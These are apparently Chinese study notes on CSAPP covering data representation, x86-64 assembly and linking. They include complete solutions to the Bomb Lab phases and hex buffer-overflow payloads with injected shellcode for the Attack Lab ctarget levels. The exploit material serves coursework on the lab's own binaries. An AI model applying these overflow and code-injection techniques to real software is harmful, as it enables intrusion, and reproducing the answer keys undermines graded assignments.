CSAPP 笔记( bomb lab)

数据表示

x的绝对值小于2^n时
补码表示方法 2 ( n + 1 ) + x ( m o d   2 ( n + 1 ) ) 2^{(n+1)}+x (mod \ 2^{(n+1)}) 2(n+1)+x(mod 2(n+1))
-3 = +7 (mode 10)

  • 补码乘法分为两种情况
    当乘数为正时,补码可以完全按照原码计算
    在这里插入图片描述
    当乘数为负数时,要使用校正法
    在这里插入图片描述
    统一表示为:
    在这里插入图片描述
    对于c语言来说有符号乘法和无符号乘法在位级表示上是等价的,因为最终结果位数为2n,而c语言要只保留低n位,相当于mod 2^n

无符号数0减1之后会变成1111…。如果int a=0是一个运算数是有符号的而另一个数unsigned b=0是无符号的,那么C语言会隐式地将有符号 参数强制类型为无符号数 从而使得a<b-1

做原码除法时,每一步通过左移一位余数(补码),并和负除数的补码求和来得到新的余数。余数是可以直接通过左移来乘2,是因为左移后可以看成有两个符号位,求和之后因为肯定没有溢出,所以两个符号位相同,可以省略最高位。
在这里插入图片描述

补码除法和原码除法在位级别上不同,因为每次迭代都要考虑不同情况来比较被除数(余数)和除数的绝对值大小关系。商为补码,且为负商时,除最后一位外,每一位都和真值相反。商的符号是在求商过程中形成的,为了满足商的第一位正好是符号,要求被除数小于除数

原码除法是先当成正数处理,然后再考虑符号。

机器码

8086 中有8个16位寄存器,IA32中,8个寄存器被扩展为32位%eax 到 % ebp 。x86-64中原来的8个被扩展为64位的%rax到%rbp,除此之外还增加了8个,从%r8到%r15。

Imm是立即数,R[rb]表示寄存器寻址,Imm(rb,ri,s)表示地址Imm+R[rb]+R[ri]*s, rb是基址寄存器,ri是变址寄存器,s必须是1,2,4,8. 括号(addr)表示对储存在addr的内容的引用

书中使用的是AT&T汇编格式,左边是源,右边是目的操作数,命令必须带大小后缀。

rdi,rsi,rdx,rcx ,r8.,r9分别是x86-64中函数的第1,2,3,4,5,6个参数,rax是返回值。多出的参数按照从右到左的顺序入栈

如果函数修改rbx,rbp,r12-r15寄存器,需要主动保存在栈中保存他们,并在退出前弹出。

在早期的x86中 ,任何函数调用都要使用栈指针ebp,而现在只有变长栈需要使用(编译器不知道栈长度)

movb,movw,movl,movq 分别传送1,2,4,8字节。mov指令通常只会更新目的操作数制定大小的位置,唯一例外的是movl,会把64位寄存器高4字节设置为0. 常规的movq只能操作32为的立即数,然后将其符号扩展至64位,但movabsq可以直接操作64为立即数,且目的只能为寄存器。

符号扩展是用源操作的最高位填充,作为符号。而零扩展是直接用0填充。MOVZ类指令用于零填充,比如movzbw表示将零扩展的字节传送到字。MOVS类用于符号扩充,例如movsw将符号扩展后的字节传送到字, cltq表示将%eax符号扩展到&rax。

leaq 7(%rdx,%rdx,4), %rax 相当于将%rax的值设置为7+5*rdx的值
SAL和SHL效果一样,都是向左移位。但SAR填上符号位,SHR填0.
imulq有两种形式,当操作数为两个时,结果截断成64位,所以无所谓有符号或无符号。当操作数只有一个S时,另一个操作数在rax中。结果保存在rdx:rax中。除法只有单操作数一个版本idv1, 除数在rax,被除数在rdx:rax。 商在rax,余数在rdx.

条件传送指令comv系列,用于满足条件时mov。可以用于减少分支错误带来的浪费。可以把两个分支的结果都计算出来,最后再调用cmov赋值。

testq rax rax 相当于 rax& rax.。 用于判断寄存器的正负,只改变条件码的值

switch指令在c语言中使用跳转表实现:
在这里插入图片描述

Bomb lab

首选从main函数里知道分为6个阶段,每个阶段都要输入正确的字符串,每个阶段命名为phase_n,通过gdb中的反汇编命令disas phase_1,得到在这里插入图片描述
这时反汇编string_not_equal, 并在这里打一个断点。可以猜测这个函数的作用是比较输入和正确的字符串。通过x/s $rsi 参看第二个参数得到正确的字符串为“Border relations with Canada have never been better.”

  • phase_2
    在这里插入图片描述
    phase_2中调用了read_six_numbers
    在这里插入图片描述
    猜测此函数是用来从输入中读取6个数,并且保存在栈中,在retq处打断点,输入1,2,3,4,5,6,查看rsp的处0x24个字节的值 x/24 $rsp,发现1到6从第到高排列。从phase_2可以看出,第一个数必须是1,然后一次比较后一个数是否是前一个数的两倍,所以6个数为1 2 4 8 16 32.

  • phase_3
    在这里插入图片描述
    可以发现两个特殊的地址0x4025cf,0x402470. 用字符串格式读取0x4025cf发现其是一个很长的格式字符串,用于sscanf函数。用x/20xw读取0x402479发现里面存储的是phase_3内的地址,推测其是一个用于switch语句的跳转表。大致语义是利用sscanf和格式字符串从输入中读取两个值a,b。switch根据a跳转,并在每个分支内修改a。最后比较a和b的值,如果相等就通过。 其中一种情况是a=0,b=207。

  • phase_4
    在这里插入图片描述
    phase_4用到了func4函数,翻译成c语言为。从phase_4推断出初始x是phase_4输入的第一个值,y=0,z=14。且x<14,phase_4输入的第二个值为0,func4函数返回值为0则通过。

    int func4(x,y,z){
          
          
    	int r,t;
    	r=z;
    	r=r-y;
    	t=r;
    	t=t>>31;
    	r=r+t;
    	r=r>>1;
    	t=r+y;
    	if(t<=x){
          
          
    		r=0;
    		if(t>=x){
          
          
    			ret r;
    		}else{
          
          
    			y=1+t;
    			func(x,y,z);
    			r=1+2r;
    		    ret r;
    		}
    	}else{
          
          
    		z=t-1;
    		func(x,y,z)
    		r=2r;
    		ret r;
    	}
    
    

可以看出t==x时返回0,推导出x=7; 可行的输入为7 0。

  • phase_5
    在这里插入图片描述
    以输入字符串中每个字符后四位为索引,从字符串1中拿出字符,组合的结果和字符串2比较,如果相等就通过。字符串2的值为“flyers”字符串1为"maduiersnfotvbylso",所以输入应该为IONEFG

  • phase_6

    Dump of assembler code for function phase_6:
       0x00000000004010f4 <+0>:	push   %r14
       0x00000000004010f6 <+2>:	push   %r13
       0x00000000004010f8 <+4>:	push   %r12
       0x00000000004010fa <+6>:	push   %rbp
       0x00000000004010fb <+7>:	push   %rbx
       0x00000000004010fc <+8>:	sub    $0x50,%rsp
       0x0000000000401100 <+12>:	mov    %rsp,%r13
       0x0000000000401103 <+15>:	mov    %rsp,%rsi
       0x0000000000401106 <+18>:	callq  0x40145c <read_six_numbers>
       0x000000000040110b <+23>:	mov    %rsp,%r14
       0x000000000040110e <+26>:	mov    $0x0,%r12d
       0x0000000000401114 <+32>:	mov    %r13,%rbp
       0x0000000000401117 <+35>:	mov    0x0(%r13),%eax
       0x000000000040111b <+39>:	sub    $0x1,%eax
       0x000000000040111e <+42>:	cmp    $0x5,%eax
       0x0000000000401121 <+45>:	jbe    0x401128 <phase_6+52>
       0x0000000000401123 <+47>:	callq  0x40143a <explode_bomb>
       0x0000000000401128 <+52>:	add    $0x1,%r12d
       0x000000000040112c <+56>:	cmp    $0x6,%r12d
       0x0000000000401130 <+60>:	je     0x401153 <phase_6+95>
       0x0000000000401132 <+62>:	mov    %r12d,%ebx
       0x0000000000401135 <+65>:	movslq %ebx,%rax
       0x0000000000401138 <+68>:	mov    (%rsp,%rax,4),%eax
       0x000000000040113b <+71>:	cmp    %eax,0x0(%rbp)
       0x000000000040113e <+74>:	jne    0x401145 <phase_6+81>
       0x0000000000401140 <+76>:	callq  0x40143a <explode_bomb>
       0x0000000000401145 <+81>:	add    $0x1,%ebx
       0x0000000000401148 <+84>:	cmp    $0x5,%ebx
       0x000000000040114b <+87>:	jle    0x401135 <phase_6+65>
       0x000000000040114d <+89>:	add    $0x4,%r13
       0x0000000000401151 <+93>:	jmp    0x401114 <phase_6+32>
       0x0000000000401153 <+95>:	lea    0x18(%rsp),%rsi
       0x0000000000401158 <+100>:	mov    %r14,%rax
       0x000000000040115b <+103>:	mov    $0x7,%ecx
       0x0000000000401160 <+108>:	mov    %ecx,%edx
       0x0000000000401162 <+110>:	sub    (%rax),%edx
       0x0000000000401164 <+112>:	mov    %edx,(%rax)
       0x0000000000401166 <+114>:	add    $0x4,%rax
       0x000000000040116a <+118>:	cmp    %rsi,%rax
       0x000000000040116d <+121>:	jne    0x401160 <phase_6+108>
       0x000000000040116f <+123>:	mov    $0x0,%esi
       0x0000000000401174 <+128>:	jmp    0x401197 <phase_6+163>
       0x0000000000401176 <+130>:	mov    0x8(%rdx),%rdx
       0x000000000040117a <+134>:	add    $0x1,%eax
       0x000000000040117d <+137>:	cmp    %ecx,%eax
       0x000000000040117f <+139>:	jne    0x401176 <phase_6+130>
       0x0000000000401181 <+141>:	jmp    0x401188 <phase_6+148>
       0x0000000000401183 <+143>:	mov    $0x6032d0,%edx
       0x0000000000401188 <+148>:	mov    %rdx,0x20(%rsp,%rsi,2)
       0x000000000040118d <+153>:	add    $0x4,%rsi
       0x0000000000401191 <+157>:	cmp    $0x18,%rsi
       0x0000000000401195 <+161>:	je     0x4011ab <phase_6+183>
       0x0000000000401197 <+163>:	mov    (%rsp,%rsi,1),%ecx
       0x000000000040119a <+166>:	cmp    $0x1,%ecx
       0x000000000040119d <+169>:	jle    0x401183 <phase_6+143>
       0x000000000040119f <+171>:	mov    $0x1,%eax
       0x00000000004011a4 <+176>:	mov    $0x6032d0,%edx
       0x00000000004011a9 <+181>:	jmp    0x401176 <phase_6+130>
       0x00000000004011ab <+183>:	mov    0x20(%rsp),%rbx
       0x00000000004011b0 <+188>:	lea    0x28(%rsp),%rax
       0x00000000004011b5 <+193>:	lea    0x50(%rsp),%rsi
       0x00000000004011ba <+198>:	mov    %rbx,%rcx
       0x00000000004011bd <+201>:	mov    (%rax),%rdx
       0x00000000004011c0 <+204>:	mov    %rdx,0x8(%rcx)
       0x00000000004011c4 <+208>:	add    $0x8,%rax
       0x00000000004011c8 <+212>:	cmp    %rsi,%rax
       0x00000000004011cb <+215>:	je     0x4011d2 <phase_6+222>
       0x00000000004011cd <+217>:	mov    %rdx,%rcx
       0x00000000004011d0 <+220>:	jmp    0x4011bd <phase_6+201>
       0x00000000004011d2 <+222>:	movq   $0x0,0x8(%rdx)
       0x00000000004011da <+230>:	mov    $0x5,%ebp
       0x00000000004011df <+235>:	mov    0x8(%rbx),%rax
       0x00000000004011e3 <+239>:	mov    (%rax),%eax
       0x00000000004011e5 <+241>:	cmp    %eax,(%rbx)
       0x00000000004011e7 <+243>:	jge    0x4011ee <phase_6+250>
       0x00000000004011e9 <+245>:	callq  0x40143a <explode_bomb>
       0x00000000004011ee <+250>:	mov    0x8(%rbx),%rbx
       0x00000000004011f2 <+254>:	sub    $0x1,%ebp
       0x00000000004011f5 <+257>:	jne    0x4011df <phase_6+235>
       0x00000000004011f7 <+259>:	add    $0x50,%rsp
       0x00000000004011fb <+263>:	pop    %rbx
       0x00000000004011fc <+264>:	pop    %rbp
       0x00000000004011fd <+265>:	pop    %r12
       0x00000000004011ff <+267>:	pop    %r13
       0x0000000000401201 <+269>:	pop    %r14
       0x0000000000401203 <+271>:	retq   
    

    从函数32行之后和62行之后的片段知道,6个数都必须小于等于6,且必须各不相同。
    95行之后的片段作用是把栈中的六个数改为其相对于7的补y=7-x。根据第i个数(从零开始编号)的结果y在rsp+32+8i处写入第y个链表元素的地址。链表元素地址+8储存它后继节点的地址。第183后的片段负责将将这6个元素按照它们在栈中的顺序连接起来。
    222 开始的片段负责检查时候每个链表元素的值都大于它后继节点的值。链表开头地址为0x6032d0
    在这里插入图片描述

    正确的按值由大到小的链表顺序为3,4,5,6,1,2
    所以输入为4,3,2,1,6,5

lab1

  • Nop sled
    缓存区攻击需要把返回地址改成待执行攻击代码的地址,但是由于ASLR,每次程序运行的不同部分都会被加载到不同区域,所以只能试探法来确定攻击代码的地址。 在32位系统中随机的范围是2^32,。为了减少试探的次数,在攻击代码前面加入256字节的nop 操作,所以只要试探过程中到达了这256+1个字节中任意一个字节,最终都能运行到攻击代码。

  • 栈破坏检测
    在栈中的返回地址之前存入一个哨兵值,返回前会检查这个值,如果发现被修改了就返回异常。

  • ctarget level1

    00000000004017a8 <getbuf>:
      4017a8:	48 83 ec 28          	sub    $0x28,%rsp
      4017ac:	48 89 e7             	mov    %rsp,%rdi
      4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
      4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
      4017b9:	48 83 c4 28          	add    $0x28,%rsp
      4017bd:	c3                   	retq   
      4017be:	90                   	nop
      4017bf:	90                   	nop
    00000000004017c0 <touch1>:
    4017c0:	48 83 ec 08          	sub    $0x8,%rsp
    4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
    4017cb:	00 00 00 
    4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
    4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
    4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
    4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
    4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
    4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>
    

    需要把getbuf的返回地址改为touch1,可以看到getbuf的输入缓冲区为0x28个字节。所以构造一个0x28字节+touch1地址的输入

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    c0 17 40 00 00 00 00 00 
    

    然后利用H EX2RAW可执行程序将16进制当成ascii码,然后转成字符,最后输入到ctarget中。

  • ctarget level2
    需要从getbug转到touch2,并且还需要传入一个特定值的参数。
    思路是调用两次ret,所以需要在栈顶保存两个跳转地址。 第一次ret是getbuf 主动调用的,ret跳转地址被改成栈中保存的注入代码,其功能是修改%rdi,用来给touch2传入参数。后面紧跟的是第二个ret,功能是跳转到touch2。利用 gcc -c example.s && objdump -d example.o > example.d 把example.s里的汇编代码转成example.d里的16进制
    16进制输入为

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    48 c7 c7 fa 97 b9 59 c3   /* rsp -8:  mov $0x59b997fa,%rdi ; retq  */
    
    98 dc 61 55 00 00 00 00  /* ret address1: rsp-8 */
    ec 17 40 00 00 00 00 00 /* ret address2:touch2 */
    
  • ctarget level3
    提示,可以借用父栈来保存字符串(当前rsp上方),可以利用Push来压入返回地址。
    任务的要求是把返回地址改为touch3. 在touch3内部会调用hexmatch,其功能是把内存中保存的cookie值以16进制的形式输出到字符串中,然后和注入代码保存的字符串进行比较。
    第一步是先把cookie值0x59b997fa的16进制转成ascii码(小端)
    61 66 37 39 39 62 39 35
    第二步是把字符串值保存在注入时rsp的上方。
    第三步是构造给rsi赋值,压入touch3返回地址和执行ret的16进制指令。
    最后的16进制输入为

    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00 
    00 00 00 00 00 00 00 00  
    00 00 00 48 c7 c7 a8 dc  /* rsp -13:  mov $0x5561dca8, %rdi;  pushq  $0x4018fa; retq;  */
    61 55 68 fa 18 40 00 c3 
    
     /* ret address2:touch3 */
    
    93 dc 61 55 00 00 00 00  /* ret address1: rsp-13 */
    35 39 62 39 39 37 66 61  /* cookie */
    00 
    

链接

gcc -0g -o prog main.c sum.c

这一个shell命令实际上涉及编译和链接两个过程
在这里插入图片描述

  • 命令
    cpp命令将源程序.c 翻译成ASCII码.i文件,cc1 将.i文件翻译成汇编 文件.s。as将汇编文件翻译成可重定位目标文件.o , ld将多个.o文件连接成可执行程序。
    待重定位文件的elf中只包含节(section), 除了.data, .text,.bss外有几个特殊的节

  • 字符串表(String Table)

    字符串表节区包含以 NULL(ASCII 码 0)结尾的字符序列,通常称为字符串。ELF 目标文件通常使用字符串来表示符号和节区名称。对字符串的引用通常以字符串在字符 串表中的下标给出。

    一般,第一个字节(索引为 0)定义为一个空字符串。类似的,字符串表的最后一 个字节也定义为 NULL,以确保所有的字符串都以 NULL 结尾。索引为 0 的字符串在 不同的上下文中可以表示无名或者名字为 NULL 的字符串。

  • 符号表(Symbol Table)

    符号存放三种定义的符号,全局变量,函数,本模块定义的静态变量。

    符号表保存了查找程序符号、为符号赋值、重定位符号所需的全部信息。 符号的主要任务是将一个字符串和一个值关联起来。符号表 索引是对此数组的索引。索引 0 表示表中的第一表项,同时也作为 定义符号的索引。
    表项:
    在这里插入图片描述
    对于已定义和初始化的符号,value是距离定义这个符号的节的起始位置的偏移,st_shndx包含了这个节在节区头部表中的索引。当节区在重定位过程中被移动时,符号 的取值也会随之变化,对符号的引用始终会“指向”程序中的相同位置
    某些特殊的节区索引具有不同的语义:

    st_shndx 解释
    SHN_ABS 符号具有绝对取值,不会因为重定位而发 生变化
    SHN_COMMON 符号标注了未初始化的全局符号。符号的取值给出了对齐约束,与节区的 sh_addralign 成员类似。就是说,链接编辑器将为符号分配存储空间, 地址位于 st_value 的倍数处。符号的size给出了所需要的字节数
    SHN_UNDEF 此节区表索引值意味着符号没有定义。当链接编辑器将此目标文件与其他定义了该符号的目标 文件进行组合时,此文件中对该符号的引用将被链接到实 际定义的位置。

    未初始化的全局变量应分配到common区,而未初始化的静态变量以及初始化为0的全局变量和静态变量应该在bss区。
    st_value 字段

    不同的目标文件类型中符号表项对 st_value 成员具有不同的解释:

    1. 在可重定位文件中,st_value 中遵从了节区索引为 SHN_COMMON 的符号的对齐约束。

    2. 在可重定位的文件中,st_value 中包含已定义符号的节区偏移。就是说,st_value 是从 st_shndx 所标识的节区头部开始计算,到符号位置的偏移。

    3. 在可执行和共享目标文件中,st_value 包含一个虚地址。为了使得这些 文件的符号对动态链接器更有用,节区偏移(针对文 件的解释)让位于 虚拟地址(针对内存的解释),因为这时与节区号无关。

  • 重定位表
    重定位表是由编译器产生的。符号的引用存放在重定位节rel.data和rel.text中。
    重定位文件必须知道如何修改其所包含的"节"的内容,在构建可执行文件或共享目标文件时,把节中的符号引用转换成这些符号在进程地址空间中的虚拟地址;包含这些转换信息数据的就是"重定位项"(relocation entry);
    r_offset:
    该字段指明重定位所作用的位置S;对于重定位文件来说,该值是受重定位所作用的存储单元在节中的字节偏移量;对于可执行文件或共享目标文件来说,该值是受重定位所作用的存储单元的虚拟地址;
    r_info:
    该字段指明重定位所作用的符号表索引和重定位的类型;比如,如果是一个函数需要重定位,则该字段的值就是被调函数所对应的符号表索引

  • 符号解析
    静态库文件.a将多个目标文件打包,在链接时,链接器只会选择性地复制.a文件中被程序引用的目标模块,减少了可执行文件大小。具体地,链接器会从左至右扫描命令行中的目标文件和静态库,并维护一个保留文件集合E和未定义符号集合U。如果碰到一个目标文件,就加入E,并修改U。如果碰到静态库文件,如果其中的成员m正好定义了U中的一个符号,就加入E。扫描的顺序很重要,所以静态库文件一般放在命令行末尾。
    符号的引用存放在重定位节rel.data和rel.text中。链接器将每一个符号的引用都和一个确定的符号定义相关联。

  • 重定位
    将多个代码段和数据段合并成单独的代码段和数据段。计算每个符号定义在虚拟空间的绝对地址。按照重定位项,将符号引用转换成重定位后的地址,如果是PC相对引用,还要减去引用运行时的地址。 PC 相对地址就是距程序计数器(PC)的当前运行时值的偏移量

动态链接共享库

共享库只有在加载阶段才知道符号的地址,为了使得共享库的代码段可以被多个进程共享,所以不能修改其代码段,也就是不能使用装载时重定位, 替代方法是将共享库编译成位置无关代码(PIC),通过保存在数据段的GOT表来间接访问全局符号,而共享库的数据段在每个进程的空间都有一个副本。 共享库在编译时,默认都把定义在模块内部的全局变量,当做定义在其他模块的全局变量。
在动态共享库中,对局部符号的引用通过pc相对引用完成,对全局符号的引用通过全局偏移表GOT完成。

可执行程序在链接阶段会确定一个符号是属于静态目标文件还是属于共享库。如果属于共享库那么链接器将会将这个符号的引用标记为一个动态链接的符号,不对它进行地址重定位,将这个过程留在装载时再进行。
动态链接有两种方式:装载时重定位和地址无关代码技术。如果可执行程序引用共享库定义的全局变量,可以直接使用装载时重定位。 如果引用共享库定义的函数,则使用got+PLT实现延迟绑定,即第一次调用函数时将函数地址绑定到got表。
以调用addvec函数为例,程序不直接调用addvec,而是进入对应的PLT条目。在第一次调用PLT[2]之前,对应的got[4]中的值指向PLT[2]中的第二条指令。然后PLT[2]会压入addvec的id号,并且通过PLT[0]调用动态链接器,后者会把addvec的地址写回got[4],当动态链接器将控制权还给plt[2]之后(第二次运行plt[2])就直接跳转到addvec的真正地址。
在这里插入图片描述

可以嵌套创建动态库:

g++ -o time_print.so -fpic -shared -I. -L. time_print.c say_hello.so

-L: “链接”的时候,去找的目录,也就是所有的 -lFOO 选项里的库,都会先从 -L 指定的目录去找,然后是默认的地方。编译时的-L选项并不影响环境变量LD_LIBRARY_PATH,-L只是指定了程序编译连接时库的路径,并不影响程序执行时库的路径,系统还是会到默认路径下查找该程序所需要的库,如果找不到,还是会报错,类似cannot
open shared object file。

-rpath-link:这个也是用于“链接”的时候的,例如你显示指定的需要 FOO.so,但是 FOO.so 本身是需要 BAR.so 的,后者你并没有指定,而是 FOO.so 引用到它,这个时候,会先从 -rpath-link 给的路径里找。

-rpath: “运行”的时候,去找的目录。运行的时候,要找 .so 文件,会从这个选项里指定的地方去找。对于交叉编译,交叉编译链接器需已经配置 –with-sysroot
选项才能起作用。也就是说,-rpath指定的路径会被记录在生成的可执行程序中,用于运行时查找需要加载的动态库。-rpath-link则只用于链接时查找。

程序还可以进行显式运行时链接。
linux系统中加载动态库,并获得句柄:

include <dlfcn.h>
void *dlopen(const char *filename,int flag);

利用句柄和符号名获得符号的地址

void *dlsym(void *handle, char *symbol);

打桩:
用一个包装函数欺骗系统以替换目标函数来运行
编译时打桩用宏实现
运行时打桩用动态库实现

猜你喜欢

转载自blog.csdn.net/weixin_39849839/article/details/114504441
今日推荐